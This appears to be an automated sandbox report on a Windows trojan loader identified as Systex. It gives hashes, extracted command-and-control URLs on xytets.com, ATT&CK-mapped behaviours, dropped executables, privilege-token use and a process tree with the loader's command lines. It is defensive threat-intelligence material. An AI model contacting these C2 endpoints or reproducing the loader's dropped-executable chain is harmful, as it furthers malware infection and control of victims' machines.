systex | cfc45ce33fb88015b3f5706b9bb40e45a9fb96583c0d293998f32d895d22a66c

Analysis

max time kernel
149s
max time network
149s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
12/10/2026, 23:04

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
Size 456KB
Sample261012-22lk6sys8m
SHA256 cfc45ce33fb88015b3f5706b9bb40e45a9fb96583c0d293998f32d895d22a66c
MD5 44daad1f4d5cf5e5d4c6df0f384278e6
SHA1 38039d1c44cb448f7bbfe21037dca22bca07db38
SHA512 1ccab752b80b89a4a5ab9d3045a95f4f9a26bfa26e7a29c2a281e87893ab8108727ab2ec726ff3c10a4139832d924e928ee09c46cc37479a3e60d18735f7f911
SSDEEP 6144:bflfAsiL4lIJjiJcbI03GBc3ucY5DCSjXAflfAsiL4lIR:bflfAsiVGjSGecvXAflfAsiV
TLSH
T126A48D14BA94F0B2DC95047804EB9B36967EB4281726CBC7F754CE9D9A113C3A9343AF
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware discovery systex spyware trojan

Malware Config

Extracted

Family

systex

http://xytets.com:2345/t.asp?os=wangba
http://xytets.com:2345/t.asp?os=home
http://xytets.com:2345/t.asp?ver=xxx&mac=0-0-0-0&os=vm

Signatures

Family: Systex
Systex is a trojan loader written in C++.
trojan systex

Executes dropped EXE 64 IoCs

pid	Process
4040	sqlfdavsnkicaysq.exe
2572	sqlfdavsnkicaysq.sys
4092	CreateProcess.exe
4120	qkfdysnfak.exe
760	CreateProcess.exe
2796	CreateProcess.exe
2408	i_qkfdysnfak.exe
5092	vsmkicausq.sys
4888	CreateProcess.exe
4260	vpnkfcaupk.exe
3748	CreateProcess.exe
480	CreateProcess.exe
5768	i_vpnkfcaupk.exe
3392	kecxupmhfz.sys
2060	CreateProcess.exe
436	czxrpkhczu.exe
5296	CreateProcess.exe
5896	CreateProcess.exe
5832	i_czxrpkhczu.exe
2092	zwrpjhbzwu.sys
2928	CreateProcess.exe
5020	zurpjhecwu.exe
5912	CreateProcess.exe
2840	CreateProcess.exe
3280	i_zurpjhecwu.exe
5260	jhbztrmjec.sys
4352	CreateProcess.exe
5484	wqojgbywro.exe
4628	CreateProcess.exe
4136	CreateProcess.exe
3104	i_wqojgbywro.exe
1968	wtomgebwtr.sys
5496	CreateProcess.exe
4896	wtrljgbywt.exe
2364	CreateProcess.exe
4904	CreateProcess.exe
5292	i_wtrljgbywt.exe
3788	dyvtrljdbv.sys
4972	CreateProcess.exe
3316	trljdbvtol.exe
5096	CreateProcess.exe
4252	CreateProcess.exe
3184	i_trljdbvtol.exe
4548	kidayvqnlf.sys
5556	CreateProcess.exe
4580	kidaysqkid.exe
5092	CreateProcess.exe
2724	CreateProcess.exe
3280	i_kidaysqkid.exe
5276	nlicavsnlf.sys
1928	CreateProcess.exe
2964	sqkicavsnk.exe
2696	CreateProcess.exe
2184	CreateProcess.exe
3376	i_sqkicavsnk.exe
5292	usnkfcausp.sys
4868	CreateProcess.exe
3224	sqnhfcxvpn.exe
5284	CreateProcess.exe
1784	CreateProcess.exe
3888	i_sqnhfcxvpn.exe
2876	usmkhcausp.sys
5468	CreateProcess.exe
4224	spnhfzxrpk.exe

Drops file in Windows directory 13 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5884_972131125\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5884_750004991\llm_user_input_extractor_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5884_750004991\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5884_750004991\office_endpoints_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5884_750004991\smart_switch_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5884_541526018\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5884_541526018\sets.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5884_541526018\_metadata\verified_contents.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5884_2044667585\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5884_1765998760\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5884_1765998760\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5884_972131125\nav_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5884_541526018\LICENSE	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 42 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hbzurmjebw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_sqkigaysqk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qkfdysnfak.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wtrljgbywt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_trljdbvtol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kidaysqkid.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wtoljdbvto.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qkfdysnfak.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vpnkfcaupk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_czxrpkhczu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wtrljgbywt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	trljdbvtol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_sqkicavsnk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spnhfzxrpk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_geywrojhbz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jhezxrpmhf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CreateProcess.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_zurpjhecwu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_sqnhfcxvpn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	geywrojhbz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	uspkicausp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mjhfcxupmh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_kidaysqkid.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_spnhfzxrpk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ausqkifavs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vpnkfcaupk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wqojgbywro.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sqkicavsnk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sqnhfcxvpn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vqoigaytql.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sqlfdavsnkicaysq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zurpjhecwu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wqojgbywro.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jhezxrpmhf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vqoigaytql.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ausqkifavs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hbzurmjebw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	czxrpkhczu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wtoljdbvto.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sqkigaysqk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_uspkicausp.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5720	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
5640	ipconfig.exe
5736	ipconfig.exe
4788	ipconfig.exe
1392	ipconfig.exe
5524	ipconfig.exe
672	ipconfig.exe
2460	ipconfig.exe
3148	ipconfig.exe
2504	ipconfig.exe
4948	ipconfig.exe
3184	ipconfig.exe
5416	ipconfig.exe
5308	ipconfig.exe
2516	ipconfig.exe
3912	ipconfig.exe
5524	ipconfig.exe
4560	ipconfig.exe
2924	ipconfig.exe
3004	ipconfig.exe
2428	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1404337215-1550464601-2805570857-1000\{D8C114A3-B22B-43D8-B1A4-0406A64EDE4B}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4040	sqlfdavsnkicaysq.exe
4040	sqlfdavsnkicaysq.exe
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
4040	sqlfdavsnkicaysq.exe
4040	sqlfdavsnkicaysq.exe
4040	sqlfdavsnkicaysq.exe
4040	sqlfdavsnkicaysq.exe
4040	sqlfdavsnkicaysq.exe
4040	sqlfdavsnkicaysq.exe

Suspicious behavior: LoadsDriver 20 IoCs

pid	Process
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
5884	msedge.exe
5884	msedge.exe
5884	msedge.exe
5884	msedge.exe
5884	msedge.exe

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	2408	i_qkfdysnfak.exe
Token: SeDebugPrivilege	5768	i_vpnkfcaupk.exe
Token: SeDebugPrivilege	5832	i_czxrpkhczu.exe
Token: SeDebugPrivilege	3280	i_zurpjhecwu.exe
Token: SeDebugPrivilege	3104	i_wqojgbywro.exe
Token: SeDebugPrivilege	5292	i_wtrljgbywt.exe
Token: SeDebugPrivilege	3184	i_trljdbvtol.exe
Token: SeDebugPrivilege	3280	i_kidaysqkid.exe
Token: SeDebugPrivilege	3376	i_sqkicavsnk.exe
Token: SeDebugPrivilege	3888	i_sqnhfcxvpn.exe
Token: SeDebugPrivilege	3168	i_spnhfzxrpk.exe
Token: SeDebugPrivilege	5728	i_jhezxrpmhf.exe
Token: SeDebugPrivilege	1956	i_hbzurmjebw.exe
Token: SeDebugPrivilege	6104	i_geywrojhbz.exe
Token: SeDebugPrivilege	3448	i_wtoljdbvto.exe
Token: SeDebugPrivilege	5392	i_vqoigaytql.exe
Token: SeDebugPrivilege	6080	i_sqkigaysqk.exe
Token: SeDebugPrivilege	5764	i_ausqkifavs.exe
Token: SeDebugPrivilege	2480	i_uspkicausp.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
5884	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2104 wrote to memory of 4040	2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe	88
PID 2104 wrote to memory of 4956	2104	2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe	89
PID 4956 wrote to memory of 5884	4956	iexplore.exe	90
PID 5884 wrote to memory of 4128	5884	msedge.exe	91
PID 5884 wrote to memory of 4836	5884	msedge.exe	93
PID 5884 wrote to memory of 5720	5884	msedge.exe	94
PID 5884 wrote to memory of 4836	5884	msedge.exe	93
PID 5884 wrote to memory of 4836	5884	msedge.exe	93
PID 5884 wrote to memory of 2756	5884	msedge.exe	95
PID 5884 wrote to memory of 2756	5884	msedge.exe	95
PID 5884 wrote to memory of 2460	5884	msedge.exe	96
PID 5884 wrote to memory of 2460	5884	msedge.exe	96
PID 5884 wrote to memory of 2460	5884	msedge.exe	96
PID 5884 wrote to memory of 5288	5884	msedge.exe	97
PID 5884 wrote to memory of 5288	5884	msedge.exe	97
PID 5884 wrote to memory of 5288	5884	msedge.exe	97
PID 5884 wrote to memory of 5996	5884	msedge.exe	98
PID 5884 wrote to memory of 5996	5884	msedge.exe	98
PID 5884 wrote to memory of 5996	5884	msedge.exe	98
PID 5884 wrote to memory of 1360	5884	msedge.exe	99
PID 5884 wrote to memory of 1360	5884	msedge.exe	99
PID 5884 wrote to memory of 1360	5884	msedge.exe	99
PID 5884 wrote to memory of 3688	5884	msedge.exe	100
PID 5884 wrote to memory of 3688	5884	msedge.exe	100
PID 5884 wrote to memory of 200	5884	msedge.exe	103
PID 5884 wrote to memory of 1788	5884	msedge.exe	104
PID 5884 wrote to memory of 200	5884	msedge.exe	103
PID 5884 wrote to memory of 1788	5884	msedge.exe	104
PID 5884 wrote to memory of 4256	5884	msedge.exe	107
PID 4040 wrote to memory of 4092	4040	sqlfdavsnkicaysq.exe	108
PID 5884 wrote to memory of 5628	5884	msedge.exe	110
PID 5884 wrote to memory of 5628	5884	msedge.exe	110
PID 4120 wrote to memory of 760	4120	qkfdysnfak.exe	112
PID 5884 wrote to memory of 2564	5884	msedge.exe	117
PID 5884 wrote to memory of 2564	5884	msedge.exe	117
PID 4040 wrote to memory of 2796	4040	sqlfdavsnkicaysq.exe	119
PID 4040 wrote to memory of 4888	4040	sqlfdavsnkicaysq.exe	123
PID 4260 wrote to memory of 3748	4260	vpnkfcaupk.exe	125
PID 4040 wrote to memory of 480	4040	sqlfdavsnkicaysq.exe	128
PID 4040 wrote to memory of 2060	4040	sqlfdavsnkicaysq.exe	132
PID 436 wrote to memory of 5296	436	czxrpkhczu.exe	134
PID 4040 wrote to memory of 5896	4040	sqlfdavsnkicaysq.exe	137
PID 4040 wrote to memory of 2928	4040	sqlfdavsnkicaysq.exe	141
PID 5020 wrote to memory of 5912	5020	zurpjhecwu.exe	143
PID 4040 wrote to memory of 2840	4040	sqlfdavsnkicaysq.exe	147
PID 5884 wrote to memory of 5416	5884	msedge.exe	149
PID 5884 wrote to memory of 5764	5884	msedge.exe	150
PID 5884 wrote to memory of 2776	5884	msedge.exe	151
PID 4040 wrote to memory of 4352	4040	sqlfdavsnkicaysq.exe	154
PID 5484 wrote to memory of 4628	5484	wqojgbywro.exe	156
PID 4040 wrote to memory of 4136	4040	sqlfdavsnkicaysq.exe	159
PID 4040 wrote to memory of 5496	4040	sqlfdavsnkicaysq.exe	163
PID 4896 wrote to memory of 2364	4896	wtrljgbywt.exe	165
PID 4040 wrote to memory of 4904	4040	sqlfdavsnkicaysq.exe	168
PID 4040 wrote to memory of 4972	4040	sqlfdavsnkicaysq.exe	172
PID 3316 wrote to memory of 5096	3316	trljdbvtol.exe	174
PID 4040 wrote to memory of 4252	4040	sqlfdavsnkicaysq.exe	177
PID 4040 wrote to memory of 5556	4040	sqlfdavsnkicaysq.exe	181
PID 4580 wrote to memory of 5092	4580	kidaysqkid.exe	183
PID 4040 wrote to memory of 2724	4040	sqlfdavsnkicaysq.exe	186
PID 5884 wrote to memory of 3984	5884	msedge.exe	188
PID 5884 wrote to memory of 3984	5884	msedge.exe	188
PID 4040 wrote to memory of 1928	4040	sqlfdavsnkicaysq.exe	194
PID 2964 wrote to memory of 2696	2964	sqkicavsnk.exe	196

C:\Users\Admin\AppData\Local\Temp\2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-10-11_44daad1f4d5cf5e5d4c6df0f384278e6_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2104
- C:\Temp\sqlfdavsnkicaysq.exe
  C:\Temp\sqlfdavsnkicaysq.exe run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4040
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\qkfdysnfak.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4092
  - - C:\Temp\qkfdysnfak.exe
      C:\Temp\qkfdysnfak.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4120
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:760
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5524
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_qkfdysnfak.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2796
  - - C:\Temp\i_qkfdysnfak.exe
      C:\Temp\i_qkfdysnfak.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2408
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\vpnkfcaupk.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4888
